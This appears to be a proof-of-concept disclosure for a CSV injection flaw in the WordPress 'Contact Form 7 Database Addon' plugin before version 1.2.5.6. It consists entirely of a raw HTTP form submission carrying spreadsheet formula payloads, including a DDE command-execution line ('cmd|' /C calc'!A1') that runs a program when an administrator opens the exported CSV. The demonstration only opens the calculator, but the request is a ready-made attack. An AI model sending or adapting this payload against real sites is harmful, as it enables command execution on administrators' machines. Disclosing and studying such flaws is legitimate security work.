Contact Form 7 Database Addon < 1.2.5.6 - CSV Injection

POST /wp-json/contact-form-7/v1/contact-forms/219/feedback HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------127233189811167375871189751352
Content-Length: 1339
Origin: http://example.com
Connection: close

-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7"

219
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_version"

5.3.2
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f219-p1-o1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_container_post"

1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_posted_data_hash"


-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-name"

=SUM(1+2)
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-email"

[email protected]
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-subject"

=1+1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-message"

;=2+5+cmd|' /C calc'!A1
-----------------------------127233189811167375871189751352--